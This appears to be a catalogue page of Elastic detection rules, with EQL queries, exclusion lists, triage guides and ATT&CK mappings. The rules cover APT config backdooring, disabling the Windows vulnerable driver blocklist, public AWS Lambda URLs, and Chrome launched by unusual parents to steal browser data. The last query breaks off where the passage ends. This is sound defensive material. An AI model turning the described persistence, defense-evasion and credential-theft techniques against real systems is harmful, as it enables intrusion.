Detection rules › Elastic

Elastic rules: 0m

APT Package Manager Configuration File Creation

#
Status
production
Severity
low
Time window
9m
Author
Elastic
Source
github.com/elastic/detection-rules

Detects file creation events in the configuration directory for the APT package manager. In Linux, APT (Advanced Package Tool) is a command-line utility used for handling packages on (by default) Debian-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized access or control each time APT is used for package management.

MITRE ATT&CK Coverage

Rule Body

[metadata]
creation_date = "2024/06/03"
integration = ["endpoint"]
maturity = "production"
updated_date = "2026/03/24"

[rule]
author = ["Elastic"]
description = """
Detects file creation events in the configuration directory for the APT package manager. In Linux, APT (Advanced Package
Tool) is a command-line utility used for handling packages on (by default) Debian-based systems, providing functions for
installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor
APT to gain persistence by injecting malicious code into scripts that APT runs, thereby ensuring continued unauthorized
access or control each time APT is used for package management.
"""
from = "now-9m"
index = ["logs-endpoint.events.file*"]
language = "eql"
license = "Elastic License v2"
name = "APT Package Manager Configuration File Creation"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating APT Package Manager Configuration File Creation

APT is a crucial tool for managing software on Debian-based Linux systems, handling tasks like installation and updates. Adversaries may exploit APT by inserting malicious scripts into its configuration files, ensuring persistent access. The detection rule monitors for unauthorized file creation or renaming in APT's configuration directory, excluding legitimate processes, to identify potential tampering.

### Possible investigation steps

- Review the file creation or renaming event details, focusing on the file path to confirm it is within the APT configuration directory (/etc/apt/apt.conf.d/).
- Identify the process responsible for the file creation or renaming by examining the process.executable field, ensuring it is not one of the legitimate processes listed in the query.
- Investigate the origin and purpose of the newly created or renamed file by checking its contents for any suspicious or unauthorized scripts or configurations.
- Correlate the event with recent system activity to determine if there are any other related alerts or anomalies, such as unusual user logins or network connections, that could indicate a broader attack.
- Check the file's metadata, such as timestamps and ownership, to identify any discrepancies or signs of tampering that could suggest malicious activity.
- If the process responsible for the event is unknown or suspicious, conduct a deeper analysis of the process, including its parent process, command-line arguments, and any associated network activity.

### False positive analysis

- Legitimate package management operations by system tools like dpkg or apt-get can trigger alerts. To manage this, ensure these processes are included in the exclusion list within the detection rule.
- Temporary files created during package updates or installations, such as those with extensions like swp or dpkg-new, may cause false positives. Exclude these file extensions from triggering alerts.
- Automated system maintenance scripts or tools like puppet or chef-client might modify APT configuration files as part of their normal operations. Add these processes to the exclusion list to prevent unnecessary alerts.
- Custom scripts or administrative tasks that involve renaming or creating files in the APT configuration directory should be reviewed. If deemed safe, add these specific scripts or processes to the exclusion criteria.
- Processes running from directories like /nix/store or /var/lib/dpkg may be part of legitimate system operations. Consider excluding these paths if they are verified as non-threatening.

### Response and remediation

- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary.
- Conduct a thorough review of the newly created or renamed files in the /etc/apt/apt.conf.d/ directory to identify any malicious scripts or unauthorized changes.
- Remove any identified malicious files or scripts from the APT configuration directory to eliminate the persistence mechanism.
- Restore any legitimate configuration files from a known good backup to ensure the integrity of the APT configuration.
- Perform a comprehensive scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malware or unauthorized changes.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
- Implement enhanced monitoring and logging for the APT configuration directory and related processes to detect similar threats in the future."""
references = [
    "https://packetstormsecurity.com/files/152668/APT-Package-Manager-Persistence.html",
    "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms",
]
risk_score = 21
rule_id = "7c2e1297-7664-42bc-af11-6d5d35220b6b"
setup = """## Setup

This rule requires data coming in from Elastic Defend.

### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.

#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).

#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
"""
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Linux",
    "Use Case: Threat Detection",
    "Tactic: Persistence",
    "Tactic: Defense Evasion",
    "Data Source: Elastic Defend",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
file where host.os.type == "linux" and event.action in ("rename", "creation") and
file.path : "/etc/apt/apt.conf.d/*" and not (
  process.executable in (
    "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf",
    "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum",
    "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic",
    "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk",
    "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet",
    "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client",
    "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*",  "/usr/bin/pamac-daemon",
    "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/netplan/generate",
    "/usr/local/bin/apt-get", "/usr/bin/apt-get", "./usr/bin/podman", "/usr/bin/buildah", "/.envbuilder/bin/envbuilder",
    "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/pvedaemon", "/usr/bin/percona-release", "/usr/bin/crio"
  ) or
  file.path :("/etc/apt/apt.conf.d/*.tmp*") or
  file.extension in ("swp", "swpx", "swx", "dpkg-remove", "dpkg-new") or
  file.Ext.original.extension == "dpkg-new" or
  file.Ext.original.name == ".source" or
  process.executable : (
    "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*",
    "/etc/kernel/*", "/opt/saltstack/salt/bin/python*"
  ) or
  process.executable == null or
  process.name in ("pveupdate", "perl", "executor", "crio", "docker-init", "dockerd", "pvedaemon") or
  (process.name == "sed" and file.name : "sed*") or
  (process.name == "perl" and file.name : "e2scrub_all.tmp*") or
  /* adding known file paths to reduce false positives */
  file.path in (
    "/etc/apt/apt.conf.d/50unattended-upgrades",
    "/etc/apt/apt.conf.d/02autoremove-postgresql",
    "/etc/apt/apt.conf.d/99rain-noautoupgrades",
    "/etc/apt/apt.conf.d/99no-check-valid-until",
    "/etc/apt/apt.conf.d/50isar-apt",
    "/etc/apt/apt.conf.d/99gitlab-ci-cache",
    "/etc/apt/apt.conf.d/50unattended-upgrades.ucf-dist",
    "/etc/apt/apt.conf.d/01autoremove-kernels",
    "/etc/apt/apt.conf.d/01autoremove",
    "/etc/apt/apt.conf.d/95proxies",
    "/etc/apt/apt.conf.d/99-noninteractive"
  )
)
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1543"
name = "Create or Modify System Process"
reference = "https://attack.mitre.org/techniques/T1543/"

[[rule.threat.technique]]
id = "T1546"
name = "Event Triggered Execution"
reference = "https://attack.mitre.org/techniques/T1546/"

[[rule.threat.technique.subtechnique]]
id = "T1546.016"
name = "Installer Packages"
reference = "https://attack.mitre.org/techniques/T1546/016/"

[[rule.threat.technique]]
id = "T1574"
name = "Hijack Execution Flow"
reference = "https://attack.mitre.org/techniques/T1574/"

[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1546"
name = "Event Triggered Execution"
reference = "https://attack.mitre.org/techniques/T1546/"

[[rule.threat.technique.subtechnique]]
id = "T1546.016"
name = "Installer Packages"
reference = "https://attack.mitre.org/techniques/T1546/016/"

[rule.threat.tactic]
id = "TA0004"
name = "Privilege Escalation"
reference = "https://attack.mitre.org/tactics/TA0004/"

Stages and Predicates

Stage 1: file

file where host.os.type == "linux" and event.action in ("rename", "creation") and
file.path : "/etc/apt/apt.conf.d/*" and not (
  process.executable in (
    "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf",
    "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum",
    "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic",
    "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk",
    "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet",
    "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client",
    "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*",  "/usr/bin/pamac-daemon",
    "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/netplan/generate",
    "/usr/local/bin/apt-get", "/usr/bin/apt-get", "./usr/bin/podman", "/usr/bin/buildah", "/.envbuilder/bin/envbuilder",
    "/opt/puppetlabs/puppet/bin/ruby", "/usr/bin/pvedaemon", "/usr/bin/percona-release", "/usr/bin/crio"
  ) or
  file.path :("/etc/apt/apt.conf.d/*.tmp*") or
  file.extension in ("swp", "swpx", "swx", "dpkg-remove", "dpkg-new") or
  file.Ext.original.extension == "dpkg-new" or
  file.Ext.original.name == ".source" or
  process.executable : (
    "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*",
    "/etc/kernel/*", "/opt/saltstack/salt/bin/python*"
  ) or
  process.executable == null or
  process.name in ("pveupdate", "perl", "executor", "crio", "docker-init", "dockerd", "pvedaemon") or
  (process.name == "sed" and file.name : "sed*") or
  (process.name == "perl" and file.name : "e2scrub_all.tmp*") or
  file.path in (
    "/etc/apt/apt.conf.d/50unattended-upgrades",
    "/etc/apt/apt.conf.d/02autoremove-postgresql",
    "/etc/apt/apt.conf.d/99rain-noautoupgrades",
    "/etc/apt/apt.conf.d/99no-check-valid-until",
    "/etc/apt/apt.conf.d/50isar-apt",
    "/etc/apt/apt.conf.d/99gitlab-ci-cache",
    "/etc/apt/apt.conf.d/50unattended-upgrades.ucf-dist",
    "/etc/apt/apt.conf.d/01autoremove-kernels",
    "/etc/apt/apt.conf.d/01autoremove",
    "/etc/apt/apt.conf.d/95proxies",
    "/etc/apt/apt.conf.d/99-noninteractive"
  )
)

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
file.namestarts_withe2scrub_all.tmpexcludes:file.name field:"file.name" value:"e2scrub_all.tmp"
process.nameeqperlexcludes:process.name field:"process.name" value:"perl"
file.namestarts_withsedexcludes:file.name field:"file.name" value:"sed"
process.nameeqsedexcludes:process.name field:"process.name" value:"sed"
file.Ext.original.extensioneqdpkg-newexcludes:file.Ext.original.extension field:"file.Ext.original.extension" value:"dpkg-new"
file.Ext.original.nameeq.sourceexcludes:file.Ext.original.name field:"file.Ext.original.name" value:".source"
file.extensionindpkg-new, dpkg-remove, swp, swpx, swxexcludes:file.extension
file.pathin/etc/apt/apt.conf.d/01autoremove, /etc/apt/apt.conf.d/01autoremove-kernels, /etc/apt/apt.conf.d/02autoremove-postgresql, /etc/apt/apt.conf.d/50isar-apt, /etc/apt/apt.conf.d/50unattended-upgrades, /etc/apt/apt.conf.d/50unattended-upgrades.ucf-dist, /etc/apt/apt.conf.d/95proxies, /etc/apt/apt.conf.d/99-noninteractive, /etc/apt/apt.conf.d/99gitlab-ci-cache, /etc/apt/apt.conf.d/99no-check-valid-until, /etc/apt/apt.conf.d/99rain-noautoupgradesexcludes:file.path
file.pathwildcard/etc/apt/apt.conf.d/*.tmp*excludes:file.path field:"file.path" value:"/etc/apt/apt.conf.d/*.tmp*"
process.executablein./usr/bin/podman, /.envbuilder/bin/envbuilder, /bin/autossl_check, /bin/chef-client, /bin/dnf, /bin/dnf-automatic, /bin/dockerd, /bin/dpkg, /bin/dpkg-divert, /bin/microdnf, /bin/pacman, /bin/pamac-daemon, /bin/podman, /bin/puppet, /bin/rpm, /bin/snapd, /bin/yum, /dev/fd/*, /opt/puppetlabs/puppet/bin/puppet, /opt/puppetlabs/puppet/bin/ruby, /proc/self/exe, /sbin/apk, /usr/bin/apt, /usr/bin/apt-get, /usr/bin/autossl_check, /usr/bin/buildah, /usr/bin/chef-client, /usr/bin/crio, /usr/bin/dnf, /usr/bin/dnf-automatic, /usr/bin/dockerd, /usr/bin/dpkg, /usr/bin/dpkg-divert, /usr/bin/microdnf, /usr/bin/pacman, /usr/bin/pamac-daemon, /usr/bin/percona-release, /usr/bin/podman, /usr/bin/puppet, /usr/bin/pvedaemon, /usr/bin/rpm, /usr/bin/snapd, /usr/bin/yum, /usr/lib/snapd/snapd, /usr/libexec/netplan/generate, /usr/local/bin/apt-get, /usr/local/bin/dockerd, /usr/local/sbin/apk, /usr/sbin/apk, /usr/sbin/dockerd, /usr/sbin/pacmanexcludes:process.executable
process.executableis_null(no value, null check)excludes:process.executable
process.executablestarts_with/nix/store/, /var/lib/dpkg/, /tmp/vmis., /snap/, /dev/fd/, /usr/lib/, /usr/libexec/, /etc/kernel/, /opt/saltstack/salt/bin/pythonexcludes:process.executable
process.nameincrio, docker-init, dockerd, executor, perl, pvedaemon, pveupdateexcludes:process.name

Attempt to Disable Windows Driver Blocklist via Registry

#
Source
github.com/elastic/protections-artifacts

Identifies registry modifications to disable Microsoft policy that prevents a blacklist of known vulnerable drivers. This could be indicative of adversary defense evasion by attempting to load and exploit a vulnerable driver.

MITRE ATT&CK Coverage

TacticTechniques
Persistence
Defense Impairment

Rule Body

[rule]
description = """
Identifies registry modifications to disable Microsoft policy that prevents a blacklist of known vulnerable drivers.
This could be indicative of adversary defense evasion by attempting to load and exploit a vulnerable driver.
"""
id = "31b7218e-ba98-4228-a39a-d0e0d1c0e5b7"
license = "Elastic License v2"
name = "Attempt to Disable Windows Driver Blocklist via Registry"
os_list = ["windows"]
reference = [
    "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules",
    "https://www.unknowncheats.me/forum/anti-cheat-bypass/524561-windows-11-blacklisteddrivers-fix.html",
]
version = "1.0.18"

query = '''
registry where registry.path : "HKLM\\SYSTEM\\*ControlSet*\\CI\\Config\\VulnerableDriverBlocklistEnable" and
 registry.data.strings : "0" and
 not process.executable : ("?:\\Windows\\System32\\SecurityHealthService.exe",
                           "C:\\Program Files (x86)\\Common Files\\InstallShield\\engine\\?\\Intel 32\\IKernel.exe")
'''

min_endpoint_version = "7.15.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1112"
name = "Modify Registry"
reference = "https://attack.mitre.org/techniques/T1112/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "7.15.0"

Stages and Predicates

Stage 1: registry

registry where registry.path : "HKLM\\SYSTEM\\*ControlSet*\\CI\\Config\\VulnerableDriverBlocklistEnable" and
 registry.data.strings : "0" and
 not process.executable : ("?:\\Windows\\System32\\SecurityHealthService.exe",
                           "C:\\Program Files (x86)\\Common Files\\InstallShield\\engine\\?\\Intel 32\\IKernel.exe")

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
registry.data.stringswildcard
  • 0 corpus 17 (elastic 14, sigma 3)
field:"Details" kind:wildcard value:"0"
registry.pathwildcard
  • HKLM\SYSTEM\*ControlSet*\CI\Config\VulnerableDriverBlocklistEnable
field:"TargetObject" kind:wildcard value:"HKLM\SYSTEM\*ControlSet*\CI\Config\VulnerableDriverBlocklistEnable"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
process.executableeq?:\Windows\System32\SecurityHealthService.exe, C:\Program Files (x86)\Common Files\InstallShield\engine\?\Intel 32\IKernel.exeexcludes:process.executable field:"process.executable" value:"?:\Windows\System32\SecurityHealthService.exe" field:"process.executable" value:"C:\Program Files (x86)\Common Files\InstallShield\engine\?\Intel 32\IKernel.exe"

AWS Lambda Function URL Created with Public Access

#
Status
production
Severity
high
Time window
6m
Author
Elastic
Source
github.com/elastic/detection-rules

Identifies the creation or update of an AWS Lambda function URL configured with an authentication type of NONE, which exposes the function to unauthenticated invocation directly from the public internet. Adversaries can use a public function URL to establish a durable, internet-reachable entry point for command and control, data egress, or on-demand execution of attacker-controlled code, bypassing the need for valid AWS credentials to invoke the function. Function URLs with public access should be rare and deliberate, so this configuration warrants review.

Known False Positives

  • Some public-facing applications, webhooks, and lightweight APIs legitimately use Lambda function URLs with no authentication and enforce access control elsewhere. Verify the function, the principal in `aws.cloudtrail.user_identity.arn`, and the intended exposure with the owning team. Known public endpoints can be excluded after validation.

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

[metadata]
creation_date = "2026/06/18"
integration = ["aws"]
maturity = "production"
updated_date = "2026/08/05"

[rule]
author = ["Elastic"]
description = """
Identifies the creation or update of an AWS Lambda function URL configured with an authentication type of NONE, which
exposes the function to unauthenticated invocation directly from the public internet. Adversaries can use a public
function URL to establish a durable, internet-reachable entry point for command and control, data egress, or on-demand
execution of attacker-controlled code, bypassing the need for valid AWS credentials to invoke the function. Function
URLs with public access should be rare and deliberate, so this configuration warrants review.
"""
false_positives = [
    """
    Some public-facing applications, webhooks, and lightweight APIs legitimately use Lambda function URLs with no
    authentication and enforce access control elsewhere. Verify the function, the principal in
    `aws.cloudtrail.user_identity.arn`, and the intended exposure with the owning team. Known public endpoints can be
    excluded after validation.
    """,
]
from = "now-6m"
index = ["logs-aws.cloudtrail-*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "AWS Lambda Function URL Created with Public Access"
note = """## Triage and analysis

### Investigating AWS Lambda Function URL Created with Public Access

A Lambda function URL is a dedicated HTTPS endpoint for a function. When configured with `authType=NONE`, anyone on the internet can invoke the function without AWS authentication. Adversaries use this to create a public, persistent entry point for command and control, data exfiltration, or running attacker-controlled code without needing AWS credentials.

This rule detects successful `CreateFunctionUrlConfig` and `UpdateFunctionUrlConfig` calls where the auth type is set to NONE.

### Possible investigation steps

- Identify the actor in `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`, and review `source.ip` and `user_agent.original` to determine how the change was made.
- Inspect `aws.cloudtrail.request_parameters` for the `functionName` and the auth type, and review `aws.cloudtrail.response_elements` for the resulting `functionUrl`.
- Determine whether the function is intended to be public and whether the owning team requested an unauthenticated endpoint.
- Review the function's code, execution role, and recent changes (`UpdateFunctionCode`, `UpdateFunctionConfiguration`, `AddPermission`) for signs of tampering.
- Correlate with other activity by the same principal, and check the function's invocation and access logs for traffic from unexpected sources after the URL was exposed.

### False positive analysis

- Public webhooks, simple APIs, and front-end integrations sometimes use unauthenticated function URLs intentionally. Confirm the exposure is approved and exclude known public endpoints on `functionName` or `aws.cloudtrail.user_identity.arn` after validation.

### Response and remediation

- If the exposure is unauthorized, change the function URL auth type to `AWS_IAM` or delete the function URL configuration, and review the function code and execution role for compromise.
- Examine invocation logs for unauthenticated requests received while the URL was public and assess potential impact.
- Rotate or restrict credentials for the principal if compromise is suspected, and constrain `lambda:CreateFunctionUrlConfig` and `lambda:UpdateFunctionUrlConfig` to trusted roles.

### Additional information

- [Lambda function URLs](https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html)
- [Security and auth model for Lambda function URLs](https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html)
"""
references = [
    "https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html",
    "https://docs.aws.amazon.com/lambda/latest/dg/urls-auth.html",
]
risk_score = 73
rule_id = "53bb8f53-3550-4805-b6bd-728ded8d5564"
severity = "high"
tags = [
    "Domain: Cloud",
    "Platform: AWS",
    "Data Source: AWS CloudTrail",
    "Service: AWS Lambda",
    "Tactic: Defense Evasion",
    "Tactic: Persistence",
    "Rule Type: Event Correlation (EQL)",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
any where data_stream.dataset == "aws.cloudtrail"
    and event.provider == "lambda.amazonaws.com"
    and event.outcome == "success"
    and not (user_agent.original : "*terraform*" or user_agent.original : "*pulumi*" or user_agent.original : "*ansible*")
    and not (aws.cloudtrail.user_identity.arn : "*terraform*" or aws.cloudtrail.user_identity.arn : "*pulumi*" or aws.cloudtrail.user_identity.arn : "*ansible*")
    and (event.action : "CreateFunctionUrlConfig*" or event.action : "UpdateFunctionUrlConfig*")
    and stringContains(aws.cloudtrail.request_parameters, "authType=NONE")
    and not user_agent.original like~ ("*Terraform*", "*Pulumi*")
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1133"
name = "External Remote Services"
reference = "https://attack.mitre.org/techniques/T1133/"


[rule.threat.tactic]
id = "TA0003"
name = "Persistence"
reference = "https://attack.mitre.org/tactics/TA0003/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1578"
name = "Modify Cloud Compute Infrastructure"
reference = "https://attack.mitre.org/techniques/T1578/"
[[rule.threat.technique.subtechnique]]
id = "T1578.005"
name = "Modify Cloud Compute Configurations"
reference = "https://attack.mitre.org/techniques/T1578/005/"



[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[rule.investigation_fields]
field_names = [
    "@timestamp",
    "user.name",
    "user_agent.original",
    "source.ip",
    "aws.cloudtrail.user_identity.arn",
    "aws.cloudtrail.user_identity.type",
    "aws.cloudtrail.user_identity.access_key_id",
    "aws.cloudtrail.user_identity.session_context.session_issuer.arn",
    "aws.cloudtrail.request_parameters",
    "aws.cloudtrail.response_elements",
    "event.action",
    "event.outcome",
    "cloud.account.id",
    "cloud.region",
]

Stages and Predicates

Stage 1: any

any where data_stream.dataset == "aws.cloudtrail"
    and event.provider == "lambda.amazonaws.com"
    and event.outcome == "success"
    and not (user_agent.original : "*terraform*" or user_agent.original : "*pulumi*" or user_agent.original : "*ansible*")
    and not (aws.cloudtrail.user_identity.arn : "*terraform*" or aws.cloudtrail.user_identity.arn : "*pulumi*" or aws.cloudtrail.user_identity.arn : "*ansible*")
    and (event.action : "CreateFunctionUrlConfig*" or event.action : "UpdateFunctionUrlConfig*")
    and stringContains(aws.cloudtrail.request_parameters, "authType=NONE")
    and not user_agent.original like~ ("*Terraform*", "*Pulumi*")

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

Chrome Browser Spawned from an Unusual Parent

#
Source
github.com/elastic/protections-artifacts

Identifies instances where an unusual process spawns a chrome browser child process. This behavior could be related to malwares stealing browser information.

MITRE ATT&CK Coverage

Rule Body

[rule]
description = """
Identifies instances where an unusual process spawns a chrome browser child process. This behavior could be related to
malwares stealing browser information.
"""
id = "fcbeaab7-017f-4bba-8b27-ffe68d64a28c"
license = "Elastic License v2"
name = "Chrome Browser Spawned from an Unusual Parent"
os_list = ["windows"]
version = "1.0.8"

query = '''
process where event.type == "start" and
 process.name : "chrome.exe" and process.args in~ ("--profile-directory=\"Default\"", "--profile-directory=Default") and
 process.parent.executable != null and
 not process.parent.executable in~
                     ("c:\\windows\\explorer.exe",
                      "c:\\program files\\google\\chrome\\application\\chrome_proxy.exe",
                      "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome_proxy.exe",
                      "c:\\program files\\google\\chrome\\application\\chrome.exe",
                      "c:\\Program Files (x86)\\google\\chrome\\application\\chrome.exe",
                      "C:\\Windows\\System32\\rdpinit.exe",
                      "C:\\Windows\\System32\\sihost.exe",
                      "C:\\Windows\\System32\\RuntimeBroker.exe",
                      "C:\\Windows\\System32\\SECOCL64.exe") and
 not process.parent.executable : (
                      "C:\\Windows\\System32\\DriverStore\\FileRepository\\seapo64.inf_*\\SECOCL64.exe", 
                      "C:\\Program Files\\OutSystems\\Service Studio ??\\Service Studio\\ServiceStudio.exe",
                      "C:\\Windows\\System32\\DriverStore\\FileRepository\\snapo64.inf_amd64_*\\SNAPOS64.exe",
                      "C:\\Program Files\\WindowsApps\\*.exe") and
 not (process.parent.code_signature.subject_name in (
        "Google LLC", "Sound Research Corporation", "FactSet Research Systems Inc.", "LEGENDARY SOFTWARE LLC", "UiPath, Inc.", "PRIDEWAY ENTERPRISES LTD"
      ) and process.parent.code_signature.trusted == true) and
 not (process.parent.name : "cmd.exe" and process.parent.args : "*\\Desktop\\*.bat " and process.args : "--profile-directory=Default") and
 not (process.parent.name == "chromedriver.exe" and process.args == "--test-type=webdriver") and
 not (process.parent.name == "gralvior-desktop.exe" and process.args == "https://google.com") and
 not (process.parent.name == "rundll32.exe" and process.parent.args == "C:\\windows\\System32\\SHELL32.dll,RunAsNewUser_RunDLL") and
 not (process.parent.code_signature.subject_name in ("AMARYLLIS SIGNAL LTD", "BLUE TAKIN LTD", "METROPOLITAN DESIGN LLC") and process.parent.code_signature.trusted == true)
'''

min_endpoint_version = "8.10.0"
[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0
tree = true

[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1539"
name = "Steal Web Session Cookie"
reference = "https://attack.mitre.org/techniques/T1539/"

[[threat.technique]]
id = "T1555"
name = "Credentials from Password Stores"
reference = "https://attack.mitre.org/techniques/T1555/"
[[threat.technique.subtechnique]]
id = "T1555.003"
name = "Credentials from Web Browsers"
reference = "https://attack.mitre.org/techniques/T1555/003/"



[threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"

[internal]
min_endpoint_version = "8.10.0"

Stages and Predicates

Stage 1: process

process where event.type == "start" and
 process.name : "chrome.exe" and process.args in~ ("--profile-directory=\"Default\"", "--profile-directory=Default") and
 process.parent.executable != null and
 not process.parent.executable in~
                     ("c:\\windows\\explorer.exe",
                      "c:\\program files\\google\\chrome\\application\\chrome_proxy.exe",
                      "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome_proxy.exe",
                      "c:\\program files\\google\\chrome\\application\\chrome.exe",
                      "c:\\Program Files (x86)\\google\\chrome\\application\\chrome.exe",
                      "C:\\Windows\\System32\\rdpinit.exe",
                      "C:\\Windows\\System32\\sihost.exe",
                      "C:\\Windows\\System32\\RuntimeBroker.exe",
                      "C:\\Windows\\System32\\SECOCL64.exe") and
 not process.parent.executable : (
                      "C:\\Windows\\System32\\DriverStore\\FileRepository\\seapo64.inf_*\\SECOCL64.exe", 
                      "C:\\Program Files\\OutSystems\\Service Studio ??\\Service Studio\\ServiceStudio.exe",
                      "C:\\Windows\\System32\\DriverStore\\FileRepository\\snapo64.inf_amd64_*\\SNAPOS64.exe",
                      "C:\\Program Files\\WindowsApps\\*.exe") and
 not (process.parent.code_signature.subject_name in (
        "Google LLC", "Sound Research Corporation", "FactSet Research Systems Inc.", "LEGENDARY SOFTWARE LLC", "UiPath, Inc.", "PRIDEWAY ENTERPRISES LTD"
      ) and process.parent.code_signature.trusted == true) and
 not (process.parent.name : "cmd.exe" and process.parent.args : "*\\Desktop\\*.bat " and process.args : "--profile-directory=Default") and
 not (process.parent.name == "chromedriver.exe" and process.args == "--test-type=webdriver") and
 not (process.parent.name == "gralvior-desktop.exe" and process.args == "https://google.com") and
 not (process.parent.name == "rundll32.exe" and process.parent.args == "C:\\windows\\System32\\SHELL32.dll,RunAsNewUser_RunDLL") and
